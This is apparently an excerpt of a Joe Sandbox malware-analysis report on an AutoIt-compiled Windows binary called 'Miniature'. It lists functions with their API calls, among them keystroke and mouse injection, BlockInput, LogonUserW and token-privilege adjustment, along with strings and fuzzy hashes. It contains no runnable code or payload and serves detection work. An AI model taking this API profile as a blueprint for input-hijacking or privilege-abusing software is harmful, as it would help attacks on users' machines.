Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 4e5310a8e7b714b21e02fc447bbc80980ff836d7b8275f818390669b8293a822
Instruction ID: a7b7710a6a645cea92b9c262116091f32d8247eaf3969c356b24760144e7cbd8
Opcode Fuzzy Hash: 4e5310a8e7b714b21e02fc447bbc80980ff836d7b8275f818390669b8293a822
Instruction Fuzzy Hash: 95F03C7591130CBFEB10DEE09889AAEBBBCEF08211F504469F501E2584D6396A048B50

Function 00FF1AC6 Relevance: 3.0, APIs: 2, Instructions: 32keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00FF1B01
keybd_event.USER32(?,75C0C0D0,?,00000000), ref: 00FF1B14

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: f2825547eee90200d7438ac30c1c19a742b141e3e00c2519c27cda01163ceb83
Instruction ID: 502b640c5e6d43327716edc0fe041f47032ca6bc7895c166e61f57ef691f031f
Opcode Fuzzy Hash: f2825547eee90200d7438ac30c1c19a742b141e3e00c2519c27cda01163ceb83
Instruction Fuzzy Hash: 3CF0497190020DEBDB10CF94C805BFE7BB4FF04315F10804AFA55A6292D37A9615DF94

Function 00FFA6AD Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,01009B52,?,0102098C,?), ref: 00FFA6DA
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,?,?,01009B52,?,0102098C,?), ref: 00FFA6EC

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 32f917bc7fc5cfc4323f76990b32b39e6622da2d6dce4ed360891cbb9967db8a
Instruction ID: 2d661888665328f32a88558b722e8c67d619b6a647160b682c95fedbae4aeb00
Opcode Fuzzy Hash: 32f917bc7fc5cfc4323f76990b32b39e6622da2d6dce4ed360891cbb9967db8a
Instruction Fuzzy Hash: FEF0823550422EBBDB30AFA4CC89FEA776CBF09361F008156F908D6195D6349944DBE1

Function 00FE8DE9 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00FE8F27), ref: 00FE8DFE
CloseHandle.KERNEL32(?,?,00FE8F27), ref: 00FE8E10

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: c16ed6c86421c133ee2f8b0f7f9b90740f29174e923b90a37b301c35e68ca61b
Instruction ID: c54e2ea9ae1a7a0e8578bd85b9b4de835e1332a3be31c1308c5de3fb5c12baf8
Opcode Fuzzy Hash: c16ed6c86421c133ee2f8b0f7f9b90740f29174e923b90a37b301c35e68ca61b
Instruction Fuzzy Hash: 1CE0B676010650EFE7362B61EC59DB77BADEB04360B248929F49A80474DB66AC90EB50

Function 00FBA385 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00FB8F87,?,?,?,00000001), ref: 00FBA38A
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00FBA393

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8d7080d272a75c638349192b4c9a695462bf2ca76df78328eed2c4bb60305ae5
Instruction ID: 6604ef4c6e912ce17774ea5ffeeb0dbeb994dc6339b039afe78cfa8170370d70
Opcode Fuzzy Hash: 8d7080d272a75c638349192b4c9a695462bf2ca76df78328eed2c4bb60305ae5
Instruction Fuzzy Hash: 9DB0923106430CEBCA602F91E809B8A3F6CEB44A62F108010F64D44458CBA754508B91

Function 010045D5 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 010045F0

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 1608fdfee9cf6c13b9030811aeaf9ca9da7639d17b4dc86695cd3d8af51ea5cc
Instruction ID: a373af0b2353fc56423c200eccde700cc9f1e35dbaa82bf4f2f6712304b3d465
Opcode Fuzzy Hash: 1608fdfee9cf6c13b9030811aeaf9ca9da7639d17b4dc86695cd3d8af51ea5cc
Instruction Fuzzy Hash: F7E0D8352002055FE711EF59D804E4AF7D8AF54760F008016FD45C7352DA75F9018B90

Function 00FF51E2 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 00FF5205

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: 41e747b5eec9e6c3d4deeca6aec1a2f974913fca9e263d3209ed9852f60303ae
Instruction ID: da080e5b3335fbecbd065bb7549390529b7e122c86a24ff643680c4f2039c5d5
Opcode Fuzzy Hash: 41e747b5eec9e6c3d4deeca6aec1a2f974913fca9e263d3209ed9852f60303ae
Instruction Fuzzy Hash: 22D05EA5560F0D78EC2807248E0FF361288EB01FD0F9441497342890E2ECD8F845B071

Function 00FE9369 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00FE8FA7), ref: 00FE9389

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: 22e21c8dd162287f29c665d9346c489a4737630bd3132471595d2656656e817e
Instruction ID: af687b33483e826c366842cdd77900c79c8aabd6d1acb59acdfdad37f3c27698
Opcode Fuzzy Hash: 22e21c8dd162287f29c665d9346c489a4737630bd3132471595d2656656e817e
Instruction Fuzzy Hash: 59D05E3226060EABEF118EA4DC01EAE3B69EB04B01F808111FE15D5090C77AD835AF60

Function 00FD0722 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00FD0734

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 5b64ea40db4749272f16f67e66a1561388d15c00797c5f2c812405745fcd3b4d
Instruction ID: dcf73273c134b7728c5a5bf697d538a0aa0086835b1628d4731eecc9c5dcf90e
Opcode Fuzzy Hash: 5b64ea40db4749272f16f67e66a1561388d15c00797c5f2c812405745fcd3b4d
Instruction Fuzzy Hash: 3CC04CF2800109DBDB15DFA0D588EEEB7BCAB04304F240056F145B2104D7789B449B71

Function 00FBA354 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 00FBA35A

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 35da2847e90ae977389da1561e18ac87499262f687ead200df715c3719886171
Instruction ID: 8c5eeedb16316352a819e28a236d3f4e1353672088044d17b2b64802ca853061
Opcode Fuzzy Hash: 35da2847e90ae977389da1561e18ac87499262f687ead200df715c3719886171
Instruction Fuzzy Hash: 40A0223002030CFBCF202F82FC0888ABFACEB002A0B00C020F80C0002ACBB3A8208BC0

Function 01013BA9 Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,01020980), ref: 01013C65
IsWindowVisible.USER32(?), ref: 01013C89

Strings

ISVISIBLE, xrefs: 01013C75
FINDSTRING, xrefs: 01013DB4
GETCURRENTSELECTION, xrefs: 01013E21
CHECK, xrefs: 01013EAB
ISENABLED, xrefs: 01013CA9
UNCHECK, xrefs: 01013EC1
SELECTSTRING, xrefs: 01013E44
GETLINE, xrefs: 01013FD9
DELSTRING, xrefs: 01013D87
SENDCOMMANDID, xrefs: 01014018
EDITPASTE, xrefs: 01013F9D
HIDEDROPDOWN, xrefs: 01013D3E
TABLEFT, xrefs: 01013CC5
GETSELECTED, xrefs: 01013EE1
ADDSTRING, xrefs: 01013D54
CURRENTTAB, xrefs: 01013CFB
GETCURRENTLINE, xrefs: 01013F2B
GETLINECOUNT, xrefs: 01013F04
SHOWDROPDOWN, xrefs: 01013D1E
ISCHECKED, xrefs: 01013E77
GETCURRENTCOL, xrefs: 01013F66
SETCURRENTSELECTION, xrefs: 01013DF4
TABRIGHT, xrefs: 01013CDB

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: 288d090e66f82d5d9ffa0d3933f5f1f281e099a8d1aa0705f6ecc412925e9da8
Instruction ID: 89977584efbcb14b87e301525744b3e928c224befe64eac588d2b942a814a8ab
Opcode Fuzzy Hash: 288d090e66f82d5d9ffa0d3933f5f1f281e099a8d1aa0705f6ecc412925e9da8
Instruction Fuzzy Hash: D6D1CE702043058BDB14EF15C981AAEBBE1BF94354F148468F9C65B2E6CF39ED0ADB81

Function 0101ABFF Relevance: 49.8, APIs: 33, Instructions: 274COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 0101AC55
GetSysColorBrush.USER32(0000000F), ref: 0101AC86
GetSysColor.USER32(0000000F), ref: 0101AC92
SetBkColor.GDI32(?,000000FF), ref: 0101ACAC
SelectObject.GDI32(?,?), ref: 0101ACBB
InflateRect.USER32(?,000000FF,000000FF), ref: 0101ACE6
GetSysColor.USER32(00000010), ref: 0101ACEE
CreateSolidBrush.GDI32(00000000), ref: 0101ACF5
FrameRect.USER32(?,?,00000000), ref: 0101AD04
DeleteObject.GDI32(00000000), ref: 0101AD0B
InflateRect.USER32(?,000000FE,000000FE), ref: 0101AD56
FillRect.USER32(?,?,?), ref: 0101AD88
GetWindowLongW.USER32(?,000000F0), ref: 0101ADB3

Part of subcall function 0101AF18: GetSysColor.USER32(00000012), ref: 0101AF51
Part of subcall function 0101AF18: SetTextColor.GDI32(?,?), ref: 0101AF55
Part of subcall function 0101AF18: GetSysColorBrush.USER32(0000000F), ref: 0101AF6B
Part of subcall function 0101AF18: GetSysColor.USER32(0000000F), ref: 0101AF76
Part of subcall function 0101AF18: GetSysColor.USER32(00000011), ref: 0101AF93
Part of subcall function 0101AF18: CreatePen.GDI32(00000000,00000001,00743C00), ref: 0101AFA1
Part of subcall function 0101AF18: SelectObject.GDI32(?,00000000), ref: 0101AFB2
Part of subcall function 0101AF18: SetBkColor.GDI32(?,00000000), ref: 0101AFBB
Part of subcall function 0101AF18: SelectObject.GDI32(?,?), ref: 0101AFC8
Part of subcall function 0101AF18: InflateRect.USER32(?,000000FF,000000FF), ref: 0101AFE7
Part of subcall function 0101AF18: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0101AFFE
Part of subcall function 0101AF18: GetWindowLongW.USER32(00000000,000000F0), ref: 0101B013

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 3619f64af0668ae9093d427d5211cf95629be4d5793344fd128987499d0e17e0
Instruction ID: 22e6daf97caf4996d3e69100cc2f899d467845d70f944b83b9d88ab3690bc919
Opcode Fuzzy Hash: 3619f64af0668ae9093d427d5211cf95629be4d5793344fd128987499d0e17e0
Instruction Fuzzy Hash: 25A1AD72109351EFD7619F64DC08A6B7BE9FF88321F200A19F9A2971D9C73AD844CB51

Function 00F92FE8 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 00F93072
DeleteObject.GDI32(00000000), ref: 00F930B8
DeleteObject.GDI32(00000000), ref: 00F930C3
DestroyIcon.USER32(00000000,?,?,?), ref: 00F930CE
DestroyWindow.USER32(00000000,?,?,?), ref: 00F930D9
SendMessageW.USER32(?,00001308,?,00000000), ref: 00FCC77C
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00FCC7B5
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00FCCBDE

Part of subcall function 00F91F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00F92412,?,00000000,?,?,?,?,00F91AA7,00000000,?), ref: 00F91F76

SendMessageW.USER32(?,00001053), ref: 00FCCC1B
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00FCCC32
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00FCCC48
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00FCCC53

Strings

0, xrefs: 00FCCA72

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: d231907360ca27e4ff81a4bb41e0fbb265f5d51aaa2b1b86cce3476a50db35ba
Instruction ID: 7aa5057935ea11ca0885dcfc30703f318b34b62396bef02f47ad5de7eb8ee10b
Opcode Fuzzy Hash: d231907360ca27e4ff81a4bb41e0fbb265f5d51aaa2b1b86cce3476a50db35ba
Instruction Fuzzy Hash: 6912A030A00202EFDB24DF24C99AFA6BBA1BF44314F14456DF58ACB662C735EC55EB91

Function 00FA27FC Relevance: 47.5, APIs: 12, Strings: 15, Instructions: 298COMMON

Download Yara Rule

APIs

Part of subcall function 00FB0FE6: std::exception::exception.LIBCMT ref: 00FB101C
Part of subcall function 00FB0FE6: __CxxThrowException@8.LIBCMT ref: 00FB1031

__wcsnicmp.LIBCMT ref: 00FA286A
__wcsnicmp.LIBCMT ref: 00FA287E
__wcsnicmp.LIBCMT ref: 00FA2896
__wcsnicmp.LIBCMT ref: 00FA28AE
__wcsnicmp.LIBCMT ref: 00FA28C6
__wcsnicmp.LIBCMT ref: 00FA28DE
__wcsnicmp.LIBCMT ref: 00FA28F6
__wcsnicmp.LIBCMT ref: 00FA290A
__wcsnicmp.LIBCMT ref: 00FA2948
__wcsnicmp.LIBCMT ref: 00FA295C
__wcsnicmp.LIBCMT ref: 00FA2970
__wcsnicmp.LIBCMT ref: 00FA2984

Strings

#requireadmin, xrefs: 00FA2890
Cannot parse #include, xrefs: 00FDFCE5
', xrefs: 00FDFB9F
#notrayicon, xrefs: 00FA2878
#include, xrefs: 00FA28D8
#ce, xrefs: 00FA297E
#OnAutoItStartRegister, xrefs: 00FA28A8
#comments-start, xrefs: 00FA28F0, 00FA2942
#comments-end, xrefs: 00FA296A
#include-once, xrefs: 00FA28C0
Unterminated group of comments, xrefs: 00FDFCFA
", xrefs: 00FDFB89
#pragma compile, xrefs: 00FA2864
Bad directive syntax error, xrefs: 00FDFBD3, 00FDFBF0
#cs, xrefs: 00FA2904, 00FA2956

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: __wcsnicmp$Exception@8Throwstd::exception::exception
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 2660009612-1645009161
Opcode ID: 6869902f851dd5eff109e7cfbe0105b1b7fdae0290623507e55d4ec60cfc704e
Instruction ID: 9f39e1d226b15f37135c35e1ab57f2c1b78be20bdd12c334bcdfa34b83c959c4
Opcode Fuzzy Hash: 6869902f851dd5eff109e7cfbe0105b1b7fdae0290623507e55d4ec60cfc704e
Instruction Fuzzy Hash: DEA1C271B40209ABCB24AF66CC82EBE3775BF56750F14002AF845AB252DB789E15FB50

Function 01007B95 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 01007BC8
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 01007C87
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 01007CC5
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 01007CD7
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 01007D1D
GetClientRect.USER32(00000000,?), ref: 01007D29
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 01007D6D
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 01007D7C
GetStockObject.GDI32(00000011), ref: 01007D8C
SelectObject.GDI32(00000000,00000000), ref: 01007D90
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 01007DA0
GetDeviceCaps.GDI32(00000000,0000005A), ref: 01007DA9
DeleteDC.GDI32(00000000), ref: 01007DB2
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 01007DDE
SendMessageW.USER32(00000030,00000000,00000001), ref: 01007DF5
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 01007E30
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 01007E44
SendMessageW.USER32(00000404,00000001,00000000), ref: 01007E55
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 01007E85
GetStockObject.GDI32(00000011), ref: 01007E90
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 01007E9B
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 01007EA5

Strings

msctls_progress32, xrefs: 01007E26
AutoIt v3, xrefs: 01007D15
static, xrefs: 01007D67, 01007E7F
DISPLAY, xrefs: 01007D72

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: be8c4bdb92403cb58081282790d107809f6017fc8f547553701551941c6bd675
Instruction ID: 538a03e2f429cb5c2a7965a0228c2d43c1943f462de741d4f2a7e4e9b4f6b208
Opcode Fuzzy Hash: be8c4bdb92403cb58081282790d107809f6017fc8f547553701551941c6bd675
Instruction Fuzzy Hash: 57A17FB1A00219BFEB24DFA4DC4AFAFBBA9EB04710F144114FA55A72D4C779AD40DB60

Function 00FFB353 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00FFB361
GetDriveTypeW.KERNEL32(?,01022C4C,?,\\.\,01020980), ref: 00FFB43E
